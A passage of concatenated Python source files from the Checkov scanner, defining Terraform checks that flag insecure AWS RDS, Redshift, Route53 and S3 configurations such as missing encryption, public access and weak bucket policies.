super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'deletion_protection' check = RDSInstanceDeletionProtection() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSInstancePerfInsightsEncryptionWithCMK.py ================================================ from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class RDSInstancePerfInsightsEncryptionWithCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure RDS Performance Insights are encrypted using KMS CMKs" id = "CKV_AWS_354" supported_resources = ['aws_rds_cluster_instance', 'aws_db_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if 'performance_insights_enabled' in conf and conf['performance_insights_enabled'][0]: if 'performance_insights_kms_key_id' not in conf or not conf['performance_insights_kms_key_id']: return CheckResult.FAILED return CheckResult.PASSED def get_inspected_key(self) -> str: return 'performance_insights_kms_key_id' def get_expected_value(self) -> Any: return ANY_VALUE check = RDSInstancePerfInsightsEncryptionWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSInstancePerformanceInsights.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class RDSInstancePerformanceInsights(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that RDS instances have performance insights enabled" id = "CKV_AWS_353" supported_resources = ('aws_rds_cluster_instance', 'aws_db_instance') categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # Performance Insights is not available for MariaDB and MySQL using certain classes: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_PerfInsights.Overview.Engines.html if conf.get("engine") in (["mariadb"], ["mysql"], ["aws_rds_cluster.default.engine"]): if conf.get("instance_class") in (["db.t2.micro"], ["db.t2.small"], ["db.t3.micro"], ["db.t3.small"], ["db.t4g.micro"], ["db.t4g.small"]): return CheckResult.UNKNOWN # Performance Insights is not supported for DB2: https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/Concepts.RDS_Fea_Regions_DB-eng.Feature.PerformanceInsights.html if conf.get("engine") in (["db2-se"], ["db2-ae"]): return CheckResult.UNKNOWN return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return 'performance_insights_enabled' check = RDSInstancePerformanceInsights() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSMultiAZEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RDSMultiAZEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that RDS instances have Multi-AZ enabled" id = "CKV_AWS_157" supported_resources = ['aws_db_instance'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'multi_az' check = RDSMultiAZEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSPostgreSQLLogFDWExtension.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_int from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class RDSPostgreSQLLogFDWExtension(BaseResourceCheck): def __init__(self) -> None: # https://aws.amazon.com/security/security-bulletins/AWS-2022-004/ name = "Ensure that RDS PostgreSQL instances use a non vulnerable version with the log_fdw extension (https://aws.amazon.com/security/security-bulletins/AWS-2022-004/)" id = "CKV_AWS_250" supported_resources = ("aws_rds_cluster", "aws_db_instance") categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ["engine"] if conf.get("engine") == ["postgres"]: self.evaluated_keys.append("engine_version") engine_version = conf.get("engine_version") if engine_version and isinstance(engine_version, list) and isinstance(engine_version[0], str): version_parts = engine_version[0].split(".") if 1 < len(version_parts) <= 3: major_version = force_int(version_parts[0]) minor_version = force_int(version_parts[1]) if major_version is None or minor_version is None: return CheckResult.UNKNOWN if major_version >= 14: return CheckResult.PASSED elif major_version == 13 and minor_version > 2: return CheckResult.PASSED elif major_version == 12 and minor_version > 6: return CheckResult.PASSED elif major_version == 11 and minor_version > 11: return CheckResult.PASSED elif major_version == 10 and minor_version > 16: return CheckResult.PASSED elif major_version == 9 and minor_version == 6: # PostgreSQL pre 10 used following versioning major.major.minor if len(version_parts) < 3: return CheckResult.UNKNOWN bugfix_version = force_int(version_parts[2]) if bugfix_version is None: return CheckResult.UNKNOWN if bugfix_version > 21: return CheckResult.PASSED # everything older is not recommended to use anyway return CheckResult.FAILED elif conf.get("engine") == ["aurora-postgresql"]: self.evaluated_keys.append("engine_version") engine_version = conf.get("engine_version") if engine_version and isinstance(engine_version, list) and isinstance(engine_version[0], str): version_parts = engine_version[0].split(".") if len(version_parts) == 2: major_version = force_int(version_parts[0]) minor_version = force_int(version_parts[1]) if major_version is None or minor_version is None: return CheckResult.UNKNOWN if major_version >= 12: return CheckResult.PASSED elif major_version == 11 and minor_version > 8: return CheckResult.PASSED elif major_version == 10 and minor_version > 13: return CheckResult.PASSED # older versions are not available for Aurora cluster return CheckResult.FAILED # probably a non PostgreSQL instance or we couldn't render it correctly return CheckResult.UNKNOWN check = RDSPostgreSQLLogFDWExtension() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSPubliclyAccessible.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class RDSPubliclyAccessible(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure all data stored in RDS is not publicly accessible" id = "CKV_AWS_17" supported_resources = ['aws_db_instance', 'aws_rds_cluster_instance'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'publicly_accessible' def get_forbidden_values(self): return [True] check = RDSPubliclyAccessible() ================================================ FILE: checkov/terraform/checks/resource/aws/RedShiftSSL.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class RedShiftSSL(BaseResourceCheck): def __init__(self): name = "Ensure Redshift uses SSL" id = "CKV_AWS_105" supported_resources = ['aws_redshift_parameter_group'] categories = [CheckCategories.ENCRYPTION] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, ) def scan_resource_conf(self, conf): if 'parameter' not in conf: return CheckResult.FAILED self.evaluated_keys = ['parameter'] for idx, elem in enumerate(conf["parameter"]): if isinstance(elem, dict) and elem["name"][0] == "require_ssl" and elem["value"] == [True]: self.evaluated_keys = [f'parameter/[{idx}]/name', f'parameter/[{idx}]/value'] return CheckResult.PASSED # no matching params return CheckResult.FAILED check = RedShiftSSL() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftClusterAllowVersionUpgrade.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.enums import CheckResult class RedshiftClusterAllowVersionUpgrade(BaseResourceValueCheck): def __init__(self): name = "Ensured that Redshift cluster allowing version upgrade by default" id = "CKV_AWS_141" supported_resources = ['aws_redshift_cluster'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return "allow_version_upgrade" check = RedshiftClusterAllowVersionUpgrade() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftClusterAutoSnap.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class RedshiftClusterAutoSnap(BaseResourceNegativeValueCheck): def __init__(self): """ NIST.800-53.r5 CP-10, NIST.800-53.r5 CP-6, NIST.800-53.r5 CP-6(1), NIST.800-53.r5 CP-6(2), NIST.800-53.r5 CP-9, NIST.800-53.r5 SC-5(2), NIST.800-53.r5 SC-7(10), NIST.800-53.r5 SI-13(5) Amazon Redshift clusters should have automatic snapshots enabled """ name = "Ensure Amazon Redshift clusters should have automatic snapshots enabled" id = "CKV_AWS_343" supported_resources = ['aws_redshift_cluster'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.PASSED) def get_inspected_key(self): return "automated_snapshot_retention_period" def get_forbidden_values(self): return [0] check = RedshiftClusterAutoSnap() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftClusterDatabaseName.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.models.consts import ANY_VALUE from typing import Any class RedshiftClusterDatabaseName(BaseResourceValueCheck): def __init__(self): """ NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2 Redshift clusters should not use the default database name """ name = "Ensure Redshift clusters do not use the default database name" id = "CKV_AWS_320" supported_resources = ('aws_redshift_cluster',) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return "database_name" def get_expected_value(self) -> Any: return ANY_VALUE check = RedshiftClusterDatabaseName() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftClusterEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RedshiftClusterEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the Redshift cluster is securely encrypted at rest" id = "CKV_AWS_64" supported_resources = ['aws_redshift_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "encrypted" check = RedshiftClusterEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftClusterKMSKey.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RedshiftClusterKMSKey(BaseResourceValueCheck): def __init__(self): name = "Ensure that Redshift cluster is encrypted by KMS" id = "CKV_AWS_142" supported_resources = ['aws_redshift_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = RedshiftClusterKMSKey() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftClusterLogging.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RedshiftClusterLogging(BaseResourceValueCheck): def __init__(self): name = "Ensure Redshift Cluster logging is enabled" id = "CKV_AWS_71" supported_resource = ['aws_redshift_cluster'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def get_inspected_key(self): return 'logging/[0]/enable' check = RedshiftClusterLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftClusterSnapshotCopyGrantEncryptedWithCMK.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RedshiftSnapshotCopyGrantEncryptedWithCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure RedShift snapshot copy is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_281" supported_resources = ("aws_redshift_snapshot_copy_grant",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = RedshiftSnapshotCopyGrantEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftClusterUseEnhancedVPCRouting.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class RedshiftClusterUseEnhancedVPCRouting(BaseResourceValueCheck): def __init__(self): """ NIST.800-53.r5 AC-4, NIST.800-53.r5 AC-4(21), NIST.800-53.r5 SC-7, NIST.800-53.r5 SC-7(11), NIST.800-53.r5 SC-7(20), NIST.800-53.r5 SC-7(21), NIST.800-53.r5 SC-7(4), NIST.800-53.r5 SC-7(9) Redshift clusters should use enhanced VPC routing """ name = "Ensure Redshift clusters use enhanced VPC routing" id = "CKV_AWS_321" supported_resources = ['aws_redshift_cluster'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return "enhanced_vpc_routing" check = RedshiftClusterUseEnhancedVPCRouting() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftClusterWithCommonUsernameAndPublicAccess.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class RedshiftClusterWithCommonUsernameAndPublicAccess(BaseResourceCheck): def __init__(self): name = "Avoid AWS Redshift cluster with commonly used master username and public access setting enabled" id = "CKV_AWS_391" supported_resources = ['aws_redshift_cluster'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'master_username' in conf: if conf['master_username'][0] in ['awsuser', 'administrator', 'admin']: self.evaluated_keys = ['master_username'] if 'publicly_accessible' in conf: if str(conf['publicly_accessible'][0]).lower() == 'true': return CheckResult.FAILED else: return CheckResult.FAILED return CheckResult.PASSED check = RedshiftClusterWithCommonUsernameAndPublicAccess() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftInEc2ClassicMode.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RedshiftInEc2ClassicMode(BaseResourceValueCheck): def __init__(self): name = "Ensure Redshift is not deployed outside of a VPC" id = "CKV_AWS_154" supported_resources = ['aws_redshift_cluster'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "cluster_subnet_group_name" def get_expected_value(self): return ANY_VALUE check = RedshiftInEc2ClassicMode() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshiftServerlessNamespaceKMSKey.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class RedshiftServerlessNamespaceKMSKey(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that Redshift Serverless namespace is encrypted by KMS using a customer managed key (CMK)" id = "CKV_AWS_282" supported_resources = ('aws_redshiftserverless_namespace',) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = RedshiftServerlessNamespaceKMSKey() ================================================ FILE: checkov/terraform/checks/resource/aws/RedshitClusterPubliclyAvailable.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RedshiftClusterPubliclyAccessible(BaseResourceValueCheck): def __init__(self): name = "Redshift cluster should not be publicly accessible" id = "CKV_AWS_87" supported_resources = ['aws_redshift_cluster'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'publicly_accessible' def get_expected_value(self): return False check = RedshiftClusterPubliclyAccessible() ================================================ FILE: checkov/terraform/checks/resource/aws/Route53TransferLock.py ================================================ from typing import Any, List from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class Route53TransferLock(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure Route 53 domains have transfer lock protection" id = "CKV_AWS_377" supported_resources = ('aws_route53domains_registered_domain',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'transfer_lock' def get_forbidden_values(self) -> List[Any]: return [False] check = Route53TransferLock() ================================================ FILE: checkov/terraform/checks/resource/aws/S3AbortIncompleteUploads.py ================================================ from __future__ import annotations from typing import Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class S3AbortIncompleteUploads(BaseResourceCheck): def __init__(self) -> None: """ If you don't set this value in a lifecycle configuration you'll end up paying for s3 resources you never could use """ name = "Ensure S3 lifecycle configuration sets period for aborting failed uploads" id = "CKV_AWS_300" supported_resources = ("aws_s3_bucket_lifecycle_configuration",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: self.evaluated_keys = ["rule"] rules = conf.get("rule") if rules and isinstance(rules, list): for idx_rule, rule in enumerate(rules): if rule.get("abort_incomplete_multipart_upload") and rule.get("status") == ["Enabled"]: self.evaluated_keys = [f"rule/[{idx_rule}]/abort_incomplete_multipart_upload"] filter_list = rule.get("filter") if filter_list and isinstance(filter_list, list): # if filter is empty then rule applies to all paths so we pass found_non_empty_parameter = False for filter_item in filter_list: if isinstance(filter_item, dict): # check each filter parameter connected = filter_item.get('and') if connected and connected[0]: filter_item = connected[0] prefix = filter_item.get('prefix') if prefix and prefix[0]: found_non_empty_parameter = True continue object_size_greater_than = filter_item.get('object_size_greater_than') if object_size_greater_than and object_size_greater_than[0]: found_non_empty_parameter = True continue object_size_less_than = filter_item.get('object_size_less_than') if object_size_less_than and object_size_less_than[0]: found_non_empty_parameter = True continue tag = filter_item.get('tag') if tag and tag[0]: found_non_empty_parameter = True continue if found_non_empty_parameter: # continue searching for rules continue return CheckResult.PASSED return CheckResult.FAILED check = S3AbortIncompleteUploads() ================================================ FILE: checkov/terraform/checks/resource/aws/S3AccessPointPubliclyAccessible.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class S3AccessPointPubliclyAccessible(BaseResourceCheck): def __init__(self): name = "Ensure AWS S3 access point block public access setting is enabled" id = "CKV_AWS_392" supported_resources = ['aws_s3_access_point'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'public_access_block_configuration' in conf: block_config_list = conf['public_access_block_configuration'] if isinstance(block_config_list, list): block_config = block_config_list[0] if ('ignore_public_acls' in block_config and block_config['block_public_acls'] == [False] and 'block_public_policy' in block_config and block_config['block_public_policy'] == [False] and 'restrict_public_buckets' in block_config and block_config['restrict_public_buckets'] == [False]): self.evaluated_keys = ['public_access_block_configuration.block_public_acls', 'public_access_block_configuration.restrict_public_buckets'] return CheckResult.FAILED return CheckResult.PASSED check = S3AccessPointPubliclyAccessible() ================================================ FILE: checkov/terraform/checks/resource/aws/S3AllowsAnyPrincipal.py ================================================ from json import JSONDecodeError import re from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list import json from typing import List def check_conditions(statement) -> bool: # Check if 'Condition' key exists if 'Condition' not in statement: return False condition = statement['Condition'] # Pass if they define bad ARNs. Assumes they are not too narrow if any(key in condition for key in ['ArnNotEquals', 'ArnNotLike']): return True # Handling 'ArnEquals' and 'ArnLike' for arn_key in ['ArnEquals', 'ArnLike']: if arn_key in condition: # Pass unless it is for all IAM ARNs for principal_key in ['aws:PrincipalArn', 'aws:SourceArn']: if principal_key in condition[arn_key]: principal_arn = condition[arn_key][principal_key] # Fail if the Condition is for all ARNs of any resource if re.match(r'^arn:aws:[a-z0-9-]+::\*.*$', principal_arn): return False # Passed if 'aws:PrincipalArn' or 'aws:SourceArn' do not match because then they are specific return True # Leaves out the NOT conditions as too broad ('StringNotEquals', 'StringNotEqualsIgnoreCase', 'StringNotLike') string_conditions = ['StringEquals', 'StringEqualsIgnoreCase', 'StringLike'] if any(condition_type in condition for condition_type in string_conditions): for condition_type in string_conditions: if condition_type in condition: # Purposefully not included: 'aws:SourceIp', 'aws:UserAgent', 'aws:Referer', 'aws:RequestTime', # 'aws:SourceArn', 'aws:PrincipalType', 'aws:RequestTag', 'aws:SecureTransport', 'aws:SourceIp', # 'aws:MultiFactorAuthPresent', 'aws:PrincipalType', all 'Properties of the request', # all 'Properties of the resource', 'aws:PrincipalTag', 'aws:PrincipalIsAWSService', # 'aws:PrincipalServiceName', 'aws:PrincipalServiceNamesList', 'aws:PrincipalType', 'aws:userid', # 'aws:username' if any(source in condition[condition_type] for source in ['aws:sourceVpce', 'aws:SourceVpc', 'aws:PrincipalOrgPaths', 'aws:userid', 'aws:PrincipalArn', 'aws:PrincipalAccount', 'aws:PrincipalOrgID', 'aws:Ec2InstanceSourceVpc', 'ec2:SourceInstanceArn', 'lambda:SourceFunctionArn', 'ssm:SourceInstanceArn']): return True # Default fail if none of the above conditions are met return False class S3AllowsAnyPrincipal(BaseResourceCheck): def __init__(self) -> None: name = "Ensure S3 bucket does not allow an action with any Principal" id = "CKV_AWS_70" supported_resources = ['aws_s3_bucket', 'aws_s3_bucket_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'policy' not in conf.keys(): return CheckResult.UNKNOWN if not isinstance(conf['policy'][0], str): policy_block = conf['policy'][0] else: if "data.aws_iam_policy_document" in conf['policy'][0]: return CheckResult.UNKNOWN else: try: policy_block = json.loads(conf['policy'][0]) except JSONDecodeError: # nosec return CheckResult.UNKNOWN if isinstance(policy_block, dict) and 'Statement' in policy_block.keys(): statements = force_list(policy_block['Statement']) if all('Effect' not in statement for statement in statements): return CheckResult.UNKNOWN for statement in statements: if 'Effect' not in statement or statement['Effect'] == 'Deny' or 'Principal' not in statement: continue principal = statement['Principal'] if principal == '*': if check_conditions(statement): return CheckResult.PASSED return CheckResult.FAILED if 'AWS' in statement['Principal']: # Can be a string or an array of strings aws = statement['Principal']['AWS'] if (isinstance(aws, str) and aws == '*') or (isinstance(aws, list) and '*' in aws): if check_conditions(statement): return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['policy'] check = S3AllowsAnyPrincipal() ================================================ FILE: checkov/terraform/checks/resource/aws/S3BlockPublicACLs.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3BlockPublicACLs(BaseResourceValueCheck): def __init__(self): name = "Ensure S3 bucket has block public ACLS enabled" id = "CKV_AWS_53" supported_resources = ['aws_s3_bucket_public_access_block'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "block_public_acls" scanner = S3BlockPublicACLs() ================================================ FILE: checkov/terraform/checks/resource/aws/S3BlockPublicPolicy.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3BlockPublicPolicy(BaseResourceValueCheck): def __init__(self): name = "Ensure S3 bucket has block public policy enabled" id = "CKV_AWS_54" supported_resources = ['aws_s3_bucket_public_access_block'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "block_public_policy" scanner = S3BlockPublicPolicy() ================================================ FILE: checkov/terraform/checks/resource/aws/S3BucketObjectEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3BucketObjectEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure S3 bucket Object is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_186" supported_resources = ['aws_s3_bucket_object'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = S3BucketObjectEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/S3BucketObjectLock.py ================================================ from typing import Dict, List, Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class S3BucketObjectLock(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that S3 bucket has lock configuration enabled by default" id = "CKV_AWS_143" supported_resources = ["aws_s3_bucket"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: lock_conf = conf.get("object_lock_configuration") if lock_conf and lock_conf[0] and isinstance(lock_conf[0], dict): lock_enabled = lock_conf[0].get("object_lock_enabled") if lock_enabled in ["Enabled", ["Enabled"]]: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.UNKNOWN def get_evaluated_keys(self) -> List[str]: return ["object_lock_configuration/[0]/object_lock_enabled"] check = S3BucketObjectLock() ================================================ FILE: checkov/terraform/checks/resource/aws/S3GlobalViewACL.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class S3GlobalViewACL(BaseResourceCheck): def __init__(self) -> None: name = "Ensure AWS S3 bucket does not have global view ACL permissions enabled" id = "CKV_AWS_375" supported_resource = ("aws_s3_bucket_acl",) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resource) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if 'access_control_policy' in conf: for policy_idx, policy in enumerate(conf["access_control_policy"]): if 'grant' in policy: for grant_idx, grant in enumerate(policy["grant"]): self.evaluated_keys = [f"access_control_policy/[{policy_idx}]/grant/[{grant_idx}]/permission"] if (isinstance(grant, dict) and 'permission' in grant and ('FULL_CONTROL' in grant.get('permission') or 'READ_ACP' in grant.get('permission'))): if 'grantee' in grant: for grantee in grant.get('grantee'): if 'uri' in grantee and 'http://acs.amazonaws.com/groups/global/AllUsers' in grantee.get('uri'): return CheckResult.FAILED return CheckResult.PASSED check = S3GlobalViewACL() ================================================ FILE: checkov/terraform/checks/resource/aws/S3IgnorePublicACLs.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3IgnorePublicACLs(BaseResourceValueCheck): def __init__(self): name = "Ensure S3 bucket has ignore public ACLs enabled" id = "CKV_AWS_55" supported_resources = ['aws_s3_bucket_public_access_block'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "ignore_public_acls" scanner = S3IgnorePublicACLs() ================================================ FILE: checkov/terraform/checks/resource/aws/S3ObjectCopyEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class S3ObjectCopyEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure S3 Object Copy is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_181" supported_resources = ['aws_s3_object_copy'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "kms_key_id" def get_expected_value(self): return ANY_VALUE check = S3ObjectCopyEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/S3ProtectAgainstPolicyLockout.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list class S3ProtectAgainstPolicyLockout(BaseResourceCheck): def __init__(self) -> None: name = "Ensure S3 bucket policy does not lockout all but root user. (Prevent lockouts needing root account fixes)" id = "CKV_AWS_93" supported_resources = ('aws_s3_bucket', 'aws_s3_bucket_policy') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: fails = ["s3:PutBucketPolicy", "s3:*BucketPolicy", "s3:Put*", "s3:*", "*"] if 'policy' not in conf.keys() or not isinstance(conf['policy'][0], dict): return CheckResult.PASSED try: policy_block = conf.get('policy')[0] if 'Statement' in policy_block.keys(): for statement in force_list(policy_block['Statement']): if 'Condition' in statement.keys() or 'NotAction' in statement.keys() \ or statement.get('Effect') != 'Deny': # https://github.com/bridgecrewio/checkov/pull/627#issuecomment-714681751 continue principal = statement['Principal'] if 'AWS' in statement['Principal']: # Can be a string or an array of strings aws = statement['Principal']['AWS'] if (isinstance(aws, str) and aws == '*') or (isinstance(aws, list) and '*' in aws): principal = "*" action = statement['Action'] if principal == "*": if action == '*': return CheckResult.FAILED myActions = force_list(action) for item in myActions: if item in fails: return CheckResult.FAILED except Exception: # nosec pass return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ['policy'] check = S3ProtectAgainstPolicyLockout() ================================================ FILE: checkov/terraform/checks/resource/aws/S3RestrictPublicBuckets.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from 